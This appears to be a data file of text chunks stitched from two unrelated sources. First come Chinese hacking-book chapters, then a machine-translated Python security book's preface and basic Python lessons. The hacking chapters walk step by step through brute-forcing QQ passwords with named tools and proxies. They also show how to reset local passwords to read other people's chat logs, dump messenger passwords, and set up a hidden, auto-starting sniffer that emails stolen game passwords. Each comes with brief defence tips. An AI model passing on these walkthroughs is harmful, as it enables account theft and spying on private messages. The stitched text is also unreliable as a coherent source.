    {"text": "未知 第83招 用“QQ破密使者”盗取QQ QQ破密使者是一个本地破解QQ密码的黑客工具，用户可选择字典暴力破解本地QQ密码，速度极快，并可自己设定延迟时间。 1.本地破解QQ破密使者 使用“QQ破密使者”本地破解QQ密码的操作其实很简单，具体的操作步骤如下。 步骤1：下载并解压缩“QQ破密使者”压缩包，即可看到\"QQPW_Crack\"安装程序里面还有一个“破解字典”文件夹，这是破解QQ密码所要用到的字典文件，里面有4个字典文件，高明的黑客还会自己制作一个字典文件或使用其他字典文件，如图9-20所示。 图 9-20 “QQ破密使者”解压后的文件夹 步骤2：双击\"QQPW_Crack\"应用程序图标，即可打开\"QQPW_Crack\"主窗口，如图9-21所示。 图 9-21 \"QQPW_Crack\"主窗口 步骤3：配置“QQ路径”选项，则单击栏目右侧的【浏览】按钮，在其中找到QQ的主程序；在“QQ号码”下拉列表框中选择任意一个。设置“字典路径”选项，只需单击栏目右侧的【浏览】按钮，在其中找到字典文件所在位置，如：C:\\Windows\\桌面\\新建文件夹\\QQ破密使者\\破解字典\\dictionary1.txt，如图9-22所示。 图 9-22 填写QQ各项 步骤4：在设置好字典文件后，还可设置延迟时间（这里设置为5），单击【开始破解】按钮，即可开始进行密码破解。该软件会用字典文件中的密码，尝试破解过程，如图9-23所示。 图 9-23 开始密码破解 注意 破解速度跟计算机配置情况有关，在破解过程中通常不能打开别的应用程序，否则要影响破解速度。一些黑客可能使用这种方法在网吧盗取别人的QQ号，因此一定要引起高度重视。 2.防范QQ破密使者 对于这类本地盗取QQ号码的方式，可以在下线时使用新版本QQ的“清除记录”功能，来清除自己上网的历史记录，以QQ2009为例，如图9-24所示。单击“账号”右侧的下拉三角按钮，从中选择QQ号码并单击 ，即可弹出【删除账号】对话框，在其中根据需要勾选“从列表中删除此账号”复选项或“删除此账号的所有记录文件”复选项，如图9-25所示。 图 9-24 单击“清除记录”按钮 图 9-25 “清除记录”对话框 未知 第84招 在线破解QQ号码 QQ在即时通信领域中占有举足轻重的地位，因此，QQ的安全一直是大家最头疼的问题，稍有不慎，用户的QQ就拱手让人了，即使随时都注意了QQ的安全，但对于QQ在线破解却也是防不胜防了。 1.在线破解QQ号码 QQExplorer是一款比较常用的在线破解QQ密码的工具，功能强大，设置简便，可以从网上下载该软件，使用它在线破解QQ的具体操作步骤如下。 步骤1：下载并解压\"QQExplorer\"压缩包，双击\"QQExplorer\"应用程序图标，即可打开\"QQExplorer\"主界面，如图9-26所示。 图 9-26 \"QQExplorer\"主界面 步骤2：在“QQ起始号码”和“QQ结束号码”文本框中填写盗取的QQ号码（此号码必须在线），在“添加或删除HTTP代理服务器”栏目中输入代理服务器的IP地址和端口号码（如果嫌寻找QQ代理服务器列表麻烦，则可使用一些现成的QQ代理公布软件）。 步骤3：单击【添加＆测试】按钮自动检测此服务器是否正常，确定后把它加入代理服务器列表（可填入多个代理服务器的地址，且自动筛选不可用或速度慢的服务器）。如图9-27所示。 图 9-27 填写设置信息 步骤4：单击【开始】按钮，即可开始在线密码破解，如图9-28所示。还可以设置为“开机自动运行”且设置呼出热键，默认设置为\"Shift+Ctrl+F1\"组合键（一定要记好这个热键，否则开机自动运行该热键后，将无法打开程序运行界面）。 图 9-28 开始在线密码破解 2.QQExplorer在线破解及防范 在线破解改变了本地破解那种被动的破解方式，只要是在线的QQ号码都可以破解，适用范围较广，因此一定要当心。由于它仍然采用穷举法技术，所以在枚举密钥位数长度以及类型时，校验时间很长，破解效率不高。 这种方法还受到计算机速度、网速等诸多因素的影响，比本地破解更慢、更麻烦。因此，对于这种破解方式，设置足够复杂密码是一个非常有效地预防手段。"},
    {"text": "未知 第85招 疯狂盗号的“QQ机器人” QQ安全一直是大家非常关注的问题，很多朋友认为自己在家上网或者在单位独自使用一台计算机，黑客应该没有下手的机会，因此，很多朋友常常在论坛上暴露自己的QQ号码，而一点也没有感觉到这其中的危险之处。 1.用“QQ机器人”盗取曝光 “QQ机器人”是一款可同时解密多个用户号码的QQ在线解密工具，如果用户QQ密码不小心丢失了，也可采用该软件来找回密码，但这个工具到了黑客手中就成了盗取QQ的帮凶。使用“QQ机器人”的具体操作步骤如下。 步骤1：在对“QQ机器人”进行下载并解压之后，双击其中的qqping文件，即可打开“QQ机器人”主窗口（有点类似于QQ登录窗口），如图9-29所示。 图 9-29 “QQ机器人”主窗口 步骤2：在开始校验之前，需要单击【设置参数】按钮，在【设置参数】对话框中对参数进行设置（其中的密码可以设置为“阿拉伯数字”、“英文字母”、“特殊符号”三类），如图9-30所示。 图 9-30 【设置参数】对话框 步骤3：此外，在“设置路径位置”选项下还可以设置字典文件的路径。若想了解QQ密码设置方面的一些情况，则不妨双击QQ机器人存储文件夹下的“QQ密码类型分析文件.txt”来进行查看，如图9-31所示。 图 9-31 QQ密码类型分析文件 步骤4：在设置完成之后，只需在“用户号码”栏中输入要在线破解的QQ号码，单击【开始校验】按钮，即可启用QQ机器人逐一检验QQ密码，直到通过服务器的验证为止，如图9-32所示。 图 9-32 密码破解中 由于在线破解的速度比较慢，通常还需再对该软件进行一些设置，以加快QQ破解速度。 1）运用键盘编码：是指在逐个检验密码时，使用键盘编码类的字符来做口令。 2）使用字典工具：表示使用指定的字典工具里面的文件作为口令，这类字典工具很多，具体在【设置参数】选项中进行设定，一款好的工具字典对于密码破解是非常重要的。 3）搜索所有用户：用于设置QQ的安装路径，选择后立即在“用户号码”栏中显示用这台机器登录过的QQ号码。 2.防范QQ机器人 在线破解速度与机器配置情况和设置的字典文件有着很大关系，如果设置的是一些比较简单的密码，可能几秒钟就将自己的QQ拱手送人了。因此，要防范“QQ机器人”盗号，一定要设置一些涉及到特殊符号、运算符号等复杂的密码才可以。"},
    {"text": "未知 第86招 QQ登录号码修改专家 QQ登录号码修改专家是一款查看聊天记录的软件，可以任意删除、增加QQ登录框的号码，删除聊天记录，保护个人隐私，还有聊天消息备份的功能。 1.正常查看聊天记录 在介绍使用QQ登录号码修改专家查看聊天记录之前，先来了解一下运用QQ自身消息管理器来实现聊天记录的正常查看方法。具体的操作步骤如下。 步骤1：在成功登录的QQ界面后，单击界面左下角的主菜单 图标，选择【工具】→【消息管理器】菜单项，即可打开【消息管理器】窗口，如图9-33所示。 图 9-33 【消息管理器】窗口 步骤2：单击左侧树状结构中选择一个好友，与这位好友的聊天记录就会在右侧显示出来了，如图9-34所示。 图 9-34 聊天记录显示 步骤3：用户如果希望将自己与好友的聊天记录以文本文件形式保存起来，只用在【消息管理器】窗口中单击工具条上的【导入和导出】按钮，再在下拉菜单中选择“导出消息记录”选项，即可打开【另存为】对话框，如图9-35所示。在其中输入文件名之后，单击【保存】按钮，即可将其进行保存。 图 9-35 【另存为】对话框 步骤4：只要每次在网吧聊天结束后，就可以把自己的聊天记录存为文本文件（保存文本文件类型扩展名为.txt）发送到自己的E-mail信箱中，再把网吧计算机中的聊天记录删除掉，别人就无法看到自己的聊天记录了。 步骤5：如果要删除与好友的聊天记录，只用选中此好友并单击 按钮，即可弹出一个信息提示框，如图9-36所示。单击【是】按钮，就可以将自己的聊天记录删除了。 图 9-36 删除信息提示框 2.导出及导入备份文件 导出和删除聊天记录虽然可起到保护自己聊天记录效果，但如果每次聊天之后都要操作这些步骤，不仅麻烦而且保存的文件也会起来越多，越来越不好管理。因此，最好把聊天记录保存成备份文件，再把这个备份文件导入自己的计算机，就可以有效地进行管理了。 具体的操作步骤如下。 步骤1：如果要导入消息记录，则在【消息管理器】窗口中单击工具栏上的【导入和导出】按钮，在下拉菜单中选择【导入消息记录】选项，即可弹出【选择数据导入内容】对话框，在其中选择要导入的内容（这里选择要导入的内容为“消息记录”），如图9-37所示。 图 9-37 选择导入内容 步骤2：单击【下一步】按钮，即可打开【选择导入消息记录方式】对话框，可根据需要从中选择一种导入消息记录方式（如选择“从指定文件导入”选项），如图9-38所示。 图 9-38 【选择数据导入内容】对话框 步骤3：也可以通过单击【浏览】按钮，即可弹出【打开】对话框，在其中选择需要导入的消息记录，如图9-39所示。 图 9-39 【选择导入消息记录方式】对话框 步骤4：单击【导入】按钮，即可打开【导入成功】对话框，在其中把备份文件导入到自己的QQ中。单击【完成】按钮，即可完成整个导入操作，如图9-40所示。 图 9-40 【导入成功】对话框 3.利用“QQ登录号码修改专家”查看聊天记录 现在来看一下如何使用“QQ登录号码修改专家”偷看聊天记录，具体的操作步骤如下。 步骤1：将下载的“QQ登录号码修改专家”压缩包进行解压后的zj文件之后，将其复制到QQ的安装目录下，如图9-41所示。 图 9-41 复制文件 步骤2：双击zj文件，即可打开【QQ登录号码修改专家】对话框，如图9-42所示。 图 9-42 【QQ登录号码修改专家】对话框 注意 使用“QQ登录号码修改专家”工具只能进行本地登录，且在服务器上不能通过验证，目的只是查看别人的聊天记录及好友信息。 步骤3：在其中如果添加号码，只用在“添加号码”文本框中输入要添加的号码，如图9-43所示。单击【添加】按钮，即可实现添加操作，如图9-44所示。 图 9-43 输入添加的号码 图 9-44 添加结果显示 步骤4：在【QQ登录号码修改专家】对话框中只需选择想要查看的QQ号码，单击【修改密码】按钮，即可弹出如图9-45所示的提示信息框。 图 9-45 修改密码提示框 步骤5：单击【OK】按钮，即可弹出还原密码的提示框，如图9-46所示。单击【确定】按钮，即可把本地验证密码修改为000000。此时就可以使用修改过的万能密码（即000000）脱机登录这个QQ了，如图9-47所示。 图 9-46 记住还原密码提示框 图 9-47 使用万能密码登录 步骤6：用户如果要恢复修改过的密码，只用在【QQ登录号码修改专家】对话框中选择修改密码的QQ号码，单击【密码还原】按钮，即可弹出如图9-48所示的提示框。单击【OK】按钮，即可完成密码的还原操作。 图 9-48 还原密码 步骤7：在输入万能密码并单击【登录】按钮，将弹出一个【服务器拒绝错误】对话框。此时仍然单击【OK】按钮，即可弹出【请再次输入登录密码】对话框。单击【取消】按钮之后，就可以打开本地的QQ了。 当然，在任务栏处将显示QQ的离线状态，就可以按照“正常查看QQ聊天记录”方法查看在这台计算机上登录过的所有QQ信息及其聊天记录。由此可见，QQ的聊天记录是非常不安全的，必须加以保护才行。"},
    {"text": "未知 第87招 MSN密码查看帮凶MessenPass MessenPass是一款即时通信软件密码的恢复工具，可探测出MSN Messenger、Windows Messenger、Yahoo Messenger、AOL Instant Messenger、AOL Instant Messenger/Netscape 7、Trillian、Miranda和GAIM等各种即时通信软件的密码。MessenPass是一个单独地可执行文件，运行这个文件不需安装额外的动态链接库（DLL），但被别有用心的人使用了，就成了一个黑客工具。 1.查看MSN密码解析 该软件使用方法很简单，只需要下载完毕并将其解压缩之后，并运行其中的mspass.exe程序，即可打开其主操作窗，如果本地计算机中运行了MSN Messenger程序，就可以很清楚地在MessenPass的窗口中查看到MSN Messenger的用户名和密码，如图9-49所示。 图 9-49 客户端运行窗口 此外，Messen Pass还能够探测出这些各种即时通信软件的密码：Yahoo Messenger、QQ等，所以使用这些IM软件聊天的朋友，一定要提高警惕。 2.防范MessenPass MessenPass只能够探测出Windows当前用户的即时通信软件密码，对本机其他用户和远程用户不起作用。要防范这类攻击必须设置多个Windows用户，而且对自己使用的账户要设置复杂密码，最好是看好自己的机器，不给那些肆意的黑客留下“行凶”机会。 未知 第88招 联众密码也需小心 “联众世界”是国内比较热门的游戏网站之一，也是不少菜鸟的乐园。但也有不少不怀好意的用户在其中捣乱，下面具体介绍联众密码是如何被泄露和找回的。 1.当心“联众密码监听器”的监听 “联众密码监听器”是专门用于监听联众游戏的密码，包括网页的密码和联众世界客户端软件的登录密码，将监听到的密码发送到指定的邮箱。具体的操作步骤如下。 步骤1：在对“联众密码监听器”进行下载并解压之后，双击其中的\"ourgamepsw.exe\"文件，即可打开【密码监听器】主窗口，如图9-50所示。 图 9-50 “联众密码监听器”主窗口 步骤2：在“监听到密码后发到如下邮箱”文本框中输入邮箱地址，并单击【应用】按钮，等监听到密码时将会自动发送到该邮箱。 步骤3：在“启动及运行参数”选项中勾选“系统启动时自动启动”和“启动时隐藏界面”复选框，为操作方便还可以设置热键，从而在显示和隐藏界面之间进行切换。在设置好之后，单击【应用】按钮就可以监听密码了。 2.找回丢失的联众密码 在网吧玩联众游戏时，联众的账号被盗，无法再进入联众世界了，如何才能将密码找回呢？具体的操作步骤如下。 步骤1：打开联众世界的主页，如图9-51所示。在主页上单击“查询密码”超级链接，即可进入“游戏账号注册”页面，如图9-52所示。 图 9-51 “联众世界”主页 图 9-52 “游戏账户注册”页面 步骤2：在该页面中输入申请时填写的用户名和电子信箱，就可以得到密码。 Cover"},
    {"text": "精通 Python 网络和安全编程 精通 Python 网络和安全编程 来源： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/SUMMARY.md 精通 Python 网络和安全编程 精通 Python 网络和安全编程 原文： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/README.md 原文： Mastering Python for networking and security 协议： CC BY-NC-SA 4.0 阶段：机翻（1） 自豪地采用 谷歌翻译 软件就像性，免费的比花钱的好得多。——林纳斯·托瓦兹 在线阅读 在线阅读（Gitee） ApacheCN 面试求职交流群 724187166 ApacheCN 学习资源 贡献指南 本项目需要校对，欢迎大家提交 Pull Request。 请您勇敢地去翻译和改进翻译。虽然我们追求卓越，但我们并不要求您做到十全十美，因此请不要担心因为翻译上犯错——在大部分情况下，我们的服务器已经记录所有的翻译，因此您不必担心会因为您的失误遭到无法挽回的破坏。（改编自维基百科） 联系方式 负责人 飞龙 : 562826179 其他 在我们的 apachecn/apachecn-python-zh github 上提 issue. 发邮件到 Email: apachecn@163.com . 在我们的 组织学习交流群 中联系群主/管理员即可. 赞助我们"},
    {"text": "零、前言 零、前言 原文： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/00.md 最近，随着 Python 的最新更新添加了许多可用于执行关键任务的包，Python 开始获得了很大的发展。"},
    {"text": "第 8 章 使用 Nmap 扫描器 ，介绍 Nmap 作为端口扫描器，并介绍如何使用 Python 和 Nmap 实现网络扫描，以收集网络、特定主机以及该主机上运行的服务的信息。"},
    {"text": "第 11 章 识别 Web 应用中的服务器漏洞 介绍了使用 OWASP 方法的 Web 应用中的主要漏洞，以及我们可以在 Python 生态系统中找到的用于 Web 应用漏洞扫描的工具。"},
    {"text": "第 12 章 从文档、图像和浏览器中提取地理位置和元数据**探讨了 Python 中用于从图像和文档中提取地理位置和元数据信息、识别 web 技术、，以及从 Chrome 和 Firefox 中提取元数据。"},
    {"text": "可从 SourceForge 页面下载： https://sourceforge.net/projects/metasploitable/files/Metasploitable2 对于 第 9 章 ，您还需要安装 Kali Linux 发行版 Python 来执行 Metasploit 框架。"},
    {"text": "下载文件后，请确保使用以下最新版本解压或解压缩文件夹： WinRAR/7-Zip for Windows 适用于 Mac 的 Zipeg/iZip/UnRarX 适用于 Linux 的 7-Zip/PeaZip 该书的代码包也托管在 GitHub 上的** https://github.com/PacktPublishing/Mastering-Python-for-Networking-and-Security ** 。"},
    {"text": "您可以在这里下载： https://www.packtpub.com/sites/default/files/downloads/9781788992510_ColorImages.pdf 使用的惯例 本书中使用了许多文本约定。"},
    {"text": "” 代码块设置如下： import requests if __name__ == \"__main__\" : response = requests . get ( \"http://www.python.org\" ) for header in response . headers . keys (): print ( header + \":\" + response . headers [ header ]) 当我们希望提请您注意代码块的特定部分时，相关行或项目以粗体显示： import requests http_proxy = \"http://<ip_address>:<port>\" proxy_dictionary = { \"http\" : http_proxy } requests . get ( \"http://example.org\" , proxies = proxy_dictionary ) 任何命令行输入或输出的编写方式如下： $ pip install packagename 粗体 ：表示一个新术语、一个重要单词或您在屏幕上看到的单词。"},
    {"text": "然后，潜在读者可以看到并使用您的无偏见意见做出购买决定，我们 Packt 可以了解您对我们产品的看法，我们的作者可以看到您对他们书籍的反馈。"},
    {"text": "一、使用 Python 脚本 一、使用 Python 脚本 原文： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/01.md 在本章中，我们将介绍 Python 脚本、集合、函数、异常处理和面向对象编程。"},
    {"text": "本章将介绍以下主题： 编程和安装 Python 数据结构和 Python 集合 Python 函数和异常管理 Python 中的面向对象编程 OMSTD 方法，包括如何管理模块、包、依赖项、传递参数、使用虚拟环境，以及 Python 脚本的 STB 模块 Python 脚本开发的主要开发环境 与 pythonide 交互和调试 技术要求 在开始阅读本书之前，您应该了解 Python 编程的基础知识，例如基本语法、变量类型、数据类型元组、列表字典、函数、字符串和方法。"},
    {"text": "类定义在对象中指定的行为和可用状态，并允许更直接地表示建模问题所需的概念，允许用户定义新类型。 对象的特点是： 使他们彼此不同的身份 通过方法定义他们的行为 通过属性和属性定义它们的状态 类允许在新类型的数据和与对象相关联的功能中分组，有利于分离用于其使用的基本属性的实现细节。"},
    {"text": "安装后，我们可以验证一切是否正确： 打开安装它的文件夹 输入 C:\\Python27\\Lib\\idlelib 双击运行 **idle.bat** 文件 Another option we have for Windows users is WinPython, which is available at http://winpython.github.io . WinPython 是一个 Python 发行版；"},
    {"text": "此分布与其他分布有所不同，因为它： 不需要安装 ：WinPython 完全位于自己的目录中，没有任何操作系统安装 是可移植的 ：您可以轻松地压缩您的 python 项目，并以简单的方式安装到其他机器上 安装 Python for Linux Python 默认安装在大多数 Gnu/Linux 发行版中。"},
    {"text": "如果我们想在 Ubuntu 或基于 Debian 的发行版中安装它，我们可以通过 apt-get 软件包管理器： sudo apt - get install python2 . 7 Python 集合 在本节中，我们将回顾不同类型的数据收集，例如列表、元组和字典。"},
    {"text": "在下面的示例中，我们定义了一个协议列表，并将 Python 列表的主要方法用作 append、index 和 remove： >>> protocolList = [] >>> protocolList . append ( \"ftp\" ) >>> protocolList . append ( \"ssh\" ) >>> protocolList . append ( \"smtp\" ) >>> protocolList . append ( \"http\" ) >>> print protocolList [ 'ftp' , 'ssh' , 'smtp' , 'http' ] >>> protocolList . sort () >>> print protocolList [ 'ftp' , 'http' , 'smtp' , 'ssh' ] >>> type ( protocolList ) < type 'list' > >>> len ( protocolList ) 4 To access specific positions, we use the index method, and to delete an element, we use the remove method: >>> position = protocolList . index ( \"ssh\" ) >>> print \"ssh position\" + str ( position ) ssh position 3 >>> protocolList . remove ( \"ssh\" ) >>> print protocolList [ 'ftp' , 'http' , 'smtp' ] >>> count = len ( protocolList ) >>> print \"Protocol elements \" + str ( count ) Protocol elements 3 要打印整个协议列表，请使用以下代码。 这将遍历所有元素并打印它们： >>> for protocol in protocolList : >> print ( protocol ) ftp http smtp 列表还有一些方法，这些方法有助于操作列表中的值，允许我们在列表中存储多个变量，并为 Python 中的对象数组排序提供了更好的方法。"},
    {"text": "以下是操作列表最常用的方法： **.append（值）：**在列表末尾追加一个元素 **.count（'x'）：**获取列表中“x”的编号 **.index（'x'）：**返回列表中“x”的索引 **。"},
    {"text": "插入（'y'，'x'）：**在位置“y”处插入“x” **.pop（）：**返回最后一个元素，并将其从列表中删除 **.remove（'x'）：**从列表中删除第一个'x' **.reverse（）：**反转列表中的元素 **.sort（）：**按字母升序或数字升序对列表进行排序 颠倒清单 我们在列表中的另一个有趣操作是通过 reverse () 方法返回列表的可能性： >>> protocolList . reverse () >>> print protocolList [ 'smtp' , 'http' , 'ftp' ] 执行相同操作的另一种方法是使用 -1 索引。 此快速简便的技术展示了如何以相反的顺序访问列表中的所有元素： >>> protocolList [:: - 1 ] >>> print protocolList [ 'smtp' , 'http' , 'ftp' ] 理解列表 理解列表允许您创建可编辑对象的新列表。"},
    {"text": "基本语法是： new_list = [ expression for_loop_one_or_more conditions ] 列表理解也可用于迭代字符串： >>> protocolList = [ \"FTP\" , \"HTTP\" , \"SNMP\" , \"SSH\" ] >>> protocolList_lower = [ protocol . lower () for protocol in protocolList ] >>> print ( protocolList_lower ) # Output: ['ftp', 'http', 'snmp', 'ssh'] 多元组 元组类似于列表，但其大小和元素是不可变的，也就是说，其值不能更改，也不能添加比最初定义的更多的元素。"},
    {"text": "例如，让我们看一本包含名称和数字的协议字典： >>> services = { \"ftp\" : 21 , \"ssh\" : 22 , \"smtp\" : 25 , \"http\" : 80 } 字典的限制是我们不能用同一个键创建多个值。"},
    {"text": "此外， update 方法将合并现有元素，如果它们发生冲突： >>> services = { \"ftp\" : 21 , \"ssh\" : 22 , \"smtp\" : 25 , \"http\" : 80 } >>> services2 = { \"ftp\" : 21 , \"ssh\" : 22 , \"snmp\" : 161 , \"ldap\" : 389 } >>> services . update ( services2 ) >>> print services 这将返回以下词典： { \"ftp\" : 21 , \"ssh\" : 22 , \"smtp\" : 25 , \"http\" : 80 , \"snmp\" : 161 , \"ldap\" : 389 } 第一个值是键，第二个值是与键关联的值。"},
    {"text": "与列表和元组中一样，您也可以使用此运算符重新指定值： >>> services [ \"http\" ] = 8080 构造字典时，每个键都用冒号与其值分隔，我们用逗号分隔项。"},
    {"text": ".keys () 方法将返回字典中所有键的列表， .items () 方法将返回字典中元素的完整列表。 以下是使用这些方法的示例： services.keys() 是返回字典中所有键的方法。 services.items() 是返回字典中所有项目列表的方法。"},
    {"text": "以下代码提取字典元素，然后对其排序： >>> items = services . items () >>> print items [( 'ftp' , 21 ), ( 'smtp' , 25 ), ( 'ssh' , 22 ), ( 'http' , 80 ), ( 'snmp' , 161 )] >>> items . sort () >>> print items [( 'ftp' , 21 ), ( 'http' , 80 ), ( 'smtp' , 25 ), ( 'snmp' , 161 ), ( 'ssh' , 22 )] 我们可以提取字典中每个元素的键和值： >>> keys = services . keys () >>> print keys [ 'ftp' , 'smtp' , 'ssh' , 'http' , 'snmp' ] >>> keys . sort () >>> print keys [ 'ftp' , 'http' , 'smtp' , 'snmp' , 'ssh' ] >>> values = services . values () >>> print values [ 21 , 25 , 22 , 80 , 161 ] >>> values . sort () >>> print values [ 21 , 22 , 25 , 80 , 161 ] >>> services . has_key ( 'http' ) True >>> services [ 'http' ] 80 最后，您可能希望迭代字典，提取并显示所有“key:value”对： >>> for key , value in services . items (): print key , value ftp 21 smtp 25 ssh 22 http 80 snmp 161 Python 函数和异常管理 在本节中，我们将回顾 Python 函数和异常管理。"},
    {"text": "例如，我们可以定义一个函数，给定一个数字序列和一个参数传递的项，如果元素在序列中，则返回 True，否则返回 False： >>> def contains ( sequence , item ): for element in sequence : if element == item : return True return False >>> print contains ([ 100 , 200 , 300 , 400 ], 200 ) True >>> print contains ([ 100 , 200 , 300 , 400 ], 300 ) True >>> print contains ([ 100 , 200 , 300 , 400 ], 350 ) False 管理异常 异常是 Python 在程序执行期间检测到的错误。"},
    {"text": "正如我们在堆栈跟踪中看到的，错误是由第 7 行的 calculate（）调用引起的，该调用在第 5 行上调用 division（1，0），并最终执行第 2 行的 a/b 语句。"},
    {"text": "如果文件未作为参数传递，则会引发 IOError 类型的异常，这要归功于我们的 try EXPECT： 此处列出了默认情况下可用的一些异常（从中派生这些异常的类位于括号中）： BaseException ：继承所有异常的类。"},
    {"text": "环境错误 （StandardError）：与输入/输出相关的错误的父类。 IOError （环境错误）：输入/输出操作中的错误。 OSError （环境错误）：系统调用中的错误。"},
    {"text": "虽然它适合我们在日常生活中可以找到的许多情况，但在 Python 中，我们可以将它与其他范例结合起来，以便在保持最佳代码设计的同时充分利用该语言并提高生产率。"},
    {"text": "class protocol ( object ): def __init__ ( self , name , number , description ): self . name = name self . number = number self . description = description def getProtocolInfo ( self ): return self . name + \" \" + str ( self . number ) + \" \" + self . description __init__ 方法是一种特殊的方法，顾名思义，它充当构造函数方法来执行任何必要的初始化过程。"},
    {"text": "这些参数将传递给 __init__ 方法，该方法是实例化类时调用的方法： >>> protocol_http = protocol ( \"HTTP\" , 80 , \"Hypertext transfer protocol\" ) 现在我们已经创建了对象，我们可以通过 object.attribute 和 object.method() 语法访问它的属性和方法： >>> protocol_http . name >>> protocol_http . number >>> protocol_http . description >>> protocol_http . getProtocolInfo () 遗产 面向对象编程语言的主要概念是：封装、继承和多态性。"},
    {"text": "在面向对象语言中，对象通过建立层次结构与其他对象相关联，并且一些对象可能继承其他对象的属性和方法，扩展其行为和/或专门化 继承允许我们从另一个类生成一个新类，继承它的属性和方法，根据需要调整或扩展它们。"},
    {"text": "这有助于代码的重用，因为您可以在基类中实现基本行为和数据，并在派生类中专门化它们： 用于 Python 脚本编写的 OMSTD 方法和 STB 模块 OMSTD 代表面向安全工具开发人员的开放方法论，它是 Python 中用于开发安全工具的一种方法论和一组良好实践。"},
    {"text": "Python 包和模块 Python 编程语言是一种高级通用语言，具有清晰的语法和完整的标准库。 通常被称为脚本语言，安全专家强调 Python 是开发信息安全工具包的语言。"},
    {"text": "import 语句后跟模块名称，使我们能够访问其中定义的对象。 通过模块标识符、点运算符和相关对象的标识符，可以从导入该对象的程序或模块访问导入的对象。"},
    {"text": "首先，我们可以定义一个简单的模块，该模块将存在于与我们要编写的 main.py 脚本相同的目录中的.py 文件中： main.py my_module.py 在这个 my_module.py 文件中，我们将定义一个简单的 test() 函数，它将打印“这是我的第一个模块”： # my_module.py def test (): print ( \"This is my first module\" ) 在 main.py 文件中，我们可以将该文件作为模块导入，并使用新定义的 test（）方法，如下所示： # main.py import my_module def main (): my_module . test () if __name__ == '__main__' : main () 这就是我们需要在 Python 程序中定义一个非常简单的 python 模块的全部内容。"},
    {"text": "在 Python 中传递参数 要开发此任务，最好使用安装 Python 时默认安装的 argparse 模块。 For more information, you can check out the official website: https://docs.python.org/3/library/argparse.html . 以下是如何在脚本中使用它的示例： 您可以在文件名 testing_parameters.py 中找到以下代码 import argparse parser = argparse . ArgumentParser ( description = 'Testing parameters' ) parser . add_argument ( \"-p1\" , dest = \"param1\" , help = \"parameter1\" ) parser . add_argument ( \"-p2\" , dest = \"param2\" , help = \"parameter2\" ) params = parser . parse_args () print params . param1 print params . param2 在 params 变量中，我们有用户从命令行输入的参数。"},
    {"text": "例如，如果我们希望将某个参数视为一个整数，则可以通过以下方式进行处理： **```py parser.add_argument(\"-param\", dest=\"param\", type=\"int\") 另一件可以帮助我们获得更可读代码的事情是声明一个类，该类充当参数的全局对象： ```py class Parameters: \"\"\"Global parameters\"\"\" def __init__(self, **kwargs): self.param1 = kwargs.get(\"param1\") self.param2 = kwargs.get(\"param2\") 例如，如果我们想同时向一个函数传递多个参数，我们可以使用这个全局对象，它包含全局执行参数。 例如，如果我们有两个参数，我们可以这样构造对象： 您可以在文件名 params_global.py 中找到以下代码 import argparse class Parameters : \"\"\"Global parameters\"\"\" def __init__ ( self , ** kwargs ): self . param1 = kwargs . get ( \"param1\" ) self . param2 = kwargs . get ( \"param2\" ) def view_parameters ( input_parameters ): print input_parameters . param1 print input_parameters . param2 parser = argparse . ArgumentParser ( description = 'Passing parameters in an object' ) parser . add_argument ( \"-p1\" , dest = \"param1\" , help = \"parameter1\" ) parser . add_argument ( \"-p2\" , dest = \"param2\" , help = \"parameter2\" ) params = parser . parse_args () input_parameters = Parameters ( param1 = params . param1 , param2 = params . param2 ) view_parameters ( input_parameters ) 在前面的脚本中，我们可以看到我们使用 argparse 模块获取参数，并使用 parameters 类将这些参数封装在一个对象中。"},
    {"text": "管理 Python 项目中的依赖项 如果我们的项目与其他库有依赖关系，那么理想的做法是在我们有这些依赖关系的文件中创建一个文件，以便我们的模块的安装和分发尽可能简单。"},
    {"text": "对于这个任务，我们可以创建一个名为 requirements.txt 的文件，如果我们使用 pip 实用程序调用它，它将降低相关模块需要的所有依赖关系。 要使用 pip 安装所有依赖项，请执行以下操作： pip - r requirements . txt 这里， pip 是 Python 包和依赖关系管理器， requirements.txt 是详细说明项目所有依赖关系的文件。 生成 requirements.txt 文件 我们还可以从项目源代码创建 requirements.txt 文件。"},
    {"text": "对于此任务，我们可以使用 pipreqs 模块，其代码可以从位于 的 GitHub 存储库下载 https://github.com/bndr/pipreqs 通过这种方式，可以使用 pip install pipreqs 命令安装模块，也可以使用 python setup.py install 命令通过 GitHub 代码库安装模块。 For more information about the module, you can query the official pypi page: https://pypi.python.org/pypi/pipreqs . 要生成 requirements.txt 文件，必须执行以下命令： pipreqs < path_project > 使用虚拟环境 在使用 Python 时，强烈建议您使用 Python 虚拟环境。"},
    {"text": "文档和示例可在 上找到 https://docs.python.org/3/using/windows.html#virtual-环境 早期版本还提供了一个独立的工具，可在以下网址找到： https://virtualenv.pypa.io/en/latest 使用 virtualenv 和 VirtualRapper 当您在本地计算机中安装 Python 模块而不使用虚拟环境时，您是在操作系统中全局安装它。"},
    {"text": "您可以使用以下命令安装 virtualenv： $ sudo pip install virtualenv 要创建新的虚拟环境，请创建一个文件夹，然后从命令行输入该文件夹： $ cd your_new_folder $ virtualenv name - of - virtual - environment 例如，这将创建一个名为 myVirtualEnv 的新环境，您必须激活该环境才能使用它： $ cd myVirtualEnv / $ virtualenv myVirtualEnv $ source bin / activate 执行此命令将启动一个文件夹，该文件夹的名称在当前工作目录中指明，其中包含 Python 的所有可执行文件和允许您在虚拟环境中安装不同软件包的 pip 模块。"},
    {"text": "安装它的唯一要求是之前安装过 virtualenv ： $ pip install virtualenvwrapper 要在 Windows 中创建虚拟环境，可以使用 virtualenv 命令： virtualenv venv When we execute previous command, we see this result: 在 Windows 中执行 virtualenv 命令会生成四个文件夹： 在脚本文件夹中，有一个名为 activate.bat 的脚本来激活虚拟环境。"},
    {"text": "一旦我们将其激活，我们将拥有一个干净的模块和库环境，我们必须下载项目的依赖项，以便使用以下代码将它们复制到此目录中： cd venv \\ Scripts \\ activate ( venv ) > pip install - r requirements . txt This is the active folder when we can find the active.bat script: STB（安全工具生成器）模块 该工具将允许我们创建一个基础项目，在此基础上我们可以开始开发自己的工具。"},
    {"text": "执行 **stb** 命令时，我们会看到以下屏幕，询问我们创建项目的信息： 有了这个命令，我们就有了一个带有 setup.py 文件的应用框架，如果我们想将该工具作为命令安装在系统中，我们可以执行该文件。"},
